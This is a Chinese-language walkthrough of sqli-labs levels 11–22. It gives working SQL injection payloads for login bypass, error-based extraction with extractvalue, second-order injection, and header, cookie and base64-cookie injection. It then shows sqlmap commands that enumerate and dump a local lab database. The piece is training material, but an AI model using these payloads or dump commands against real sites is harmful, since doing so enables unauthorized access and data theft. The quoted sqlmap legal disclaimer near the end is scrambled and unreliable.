Sqli靶场 11--->22Less

打靶场,打靶场,打靶场,打靶场......靶场你别打我 球球

11.不用密码(狂喜)

这一关知不知道账号密码都无所谓

那么我们就尝试一下报错类型,单引号报错,好,字符型

构造poc

sql 复制代码
I_don_t_know_the_information ' or 1=1 --+

这样就能返回整个表的信息,但是她只会显示一行

或者你还可以

sql 复制代码
admin'#

这样就可以直接爆出管理员的密码(当然实战是不可能给你回显的,你要通过构造or来获取密码)

12.有个)还有个"

这一关你直接尝试单引号闭合的话就会发现是行不通的,查看源码就能发现是这样

sql 复制代码
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
  • 他的意思就是将得到的uname和passwd先用 " 包裹,然后再加上一个) ,如果我们直接拼接单引号或者双引号的话就会出现下面的代码:
sql 复制代码
@$sql="SELECT username, password FROM users WHERE username=("admin"") and password=("1111") LIMIT 0,1";

根本就达不到注释掉后面的语句的后果 ,所以要这样构造poc

sql 复制代码
admin")--+

这样才能达到注释掉密码的效果

13.啊?啊这

这,这,这........

不就是上一关将双引号改成单引号???不多赘述

14.啊,啊?你再考什么?

又一题无语题,当我尝试单引号闭合,发现没有报错,双引号闭合,发现报错了

于是就拼接一个poc? 这???? 啊,你再考什么

15.报错?玩的就是真实

这一关,你会发现你怎么构造poc 它都是没有报错,但是你只要构造一条poc

sql 复制代码
admin' #

就会发现能过了!!! 其实现实生活中也是,**网站一般都是不会返回报错信息的,**需要你的耐心和经验去绕waf

16. ")#

正如标题,这句poc就是 不多说,下一题!!

sql 复制代码
admin") #

17.二次注入&&passwd绕过

其实一开始我是没有想到passwd绕过的,于是就先来讲讲二次注入

一开始可以先看到它的改密码的界面

  1. 首先有两个账号 一个admin 一个admin'# ,admin的密码为admin ,admin'#的密码是123
  2. 然后去将admin'# 的密码修改成1234

就会发生二次注入!!

然后就是passwd绕过,上源码!!

php 复制代码
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];

其中涉及到的check_input()是它自己写的函数,基本上防住了sql注入!!

但是好笑的是他不过滤passwd的传入

​​​​​​​ ​​​​​​​ ​​​​​​​ ​​​​​​​

再来看一眼源代码

php 复制代码
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

那么就这样构造poc

sql 复制代码
admin' and extractvalue(1,concat(0x7e,(select database()),0x7e))#

可以爆出它的数据库路径

但是但是!!!!!,你的poc千万不要这么写

sql 复制代码
test' #

写了你就等着进橘子,不要问我怎么知道的(艹,手贱)

18.UA注入

参考我的上一篇文章

19.Refer头注入

还是参考我的上一篇文章

20.Cookie注入

继续参考我上一篇文章(梅开三度)

​​​​​​​ ​​​​​​​ ​​​​​​​

21.Base64&&Cookie

在我们登录之后,我们可以抓到一个这种包,所以就发现是cookie注入

盲猜是base64编码,去解码一下就会发现

因为是插入,我们可以构造这样的poc ,记得编码

sql 复制代码
' ,1,extractvalue(1,(concat(0x7e,(select database()),0x7e))))--+

但是发现报错了,还看见有一个) 那就构造另一类poc

sql 复制代码
' ,1,extractvalue(1,(concat(0x7e,(select database()),0x7e))))#

突然想起来,好像没有讲过他的原理!那就先来讲一下他原理

嘻嘻

就是在插入之中,如果我们插入了能执行的函数的话,他会去执行这个函数

就像这样!!

所以当我们传入extractvalue的时候他也会去执行

22.Cookie注入&& "

这一关其实就是和上面的一关差不多 ,就是将' 变成了"

所以就可以写出这样一个poc ,记得base64编码

sql 复制代码
" and extractvalue(1,(concat(0x7e,(select database()),0x7e))) and "

SQLMap的基本用法

sql 复制代码
python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1"

Declaration:这个工具可不能乱用,可能会被封IP,而且 里面的risk等级

1.对于url是get请求

就拿第一关来说

先用第一句探测是否存在sql注入

sql 复制代码
python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1"

看的出来,存在注入

然后就是第二句

sql 复制代码
python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1" --dbs ;

这样就会给你爆出表名

第三步选一个表 然后 进行第三句poc

sql 复制代码
python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1" -D security --tables;

最后就是脱库了

sql 复制代码
python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1" -D security -T users --dump ;

2.对于是POST请求

就拿sqli的第十关来举例,先将这个包复制下来,在一个文件夹复制下来

然后在存在sql注入的地方 例如上面的uname 后面的值替换成 *

然后输入poc

sql 复制代码
python sqlmap.py -r "D://1.txt" ;

然后后面的就和get相同了

3.然后就是还有一些参数

最后最后,就是 --risk 那里不要设置为三 不然有可能你就把人家整个表给删掉了或者更新掉了

[!]legal disclaimer: Usage of sqlmap for attacking targets without prior mutualconsents responsibility to obey all applicable local, state and federal laws. Developersassumenosible for any misuse or damage caused by this program
is illegal.It is theend userliability and are not respon!!!!!!!!!!

相关推荐
小诸葛的博客1 小时前
pg入门1——使用容器启动一个pg
数据库
大熊程序猿2 小时前
python 读取excel数据存储到mysql
数据库·python·mysql
落落落sss2 小时前
sharding-jdbc分库分表
android·java·开发语言·数据库·servlet·oracle
jnrjian2 小时前
Oracle 启动动态采样 自适应执行计划
数据库·oracle
lamb张3 小时前
MySQL锁
数据库·mysql
ForRunner1233 小时前
使用 Python 高分解决 reCAPTCHA v3 的指南
数据库·python·microsoft
躺平的花卷4 小时前
Python爬虫案例六:抓取某个地区某月份天气数据并保存到mysql数据库中
数据库·爬虫·python·mysql
Flying_Fish_roe4 小时前
linux-安全管理-防火墙与网络安全
linux·数据库·oracle
A_cot5 小时前
Redis 的三个并发问题及解决方案(面试题)
java·开发语言·数据库·redis·mybatis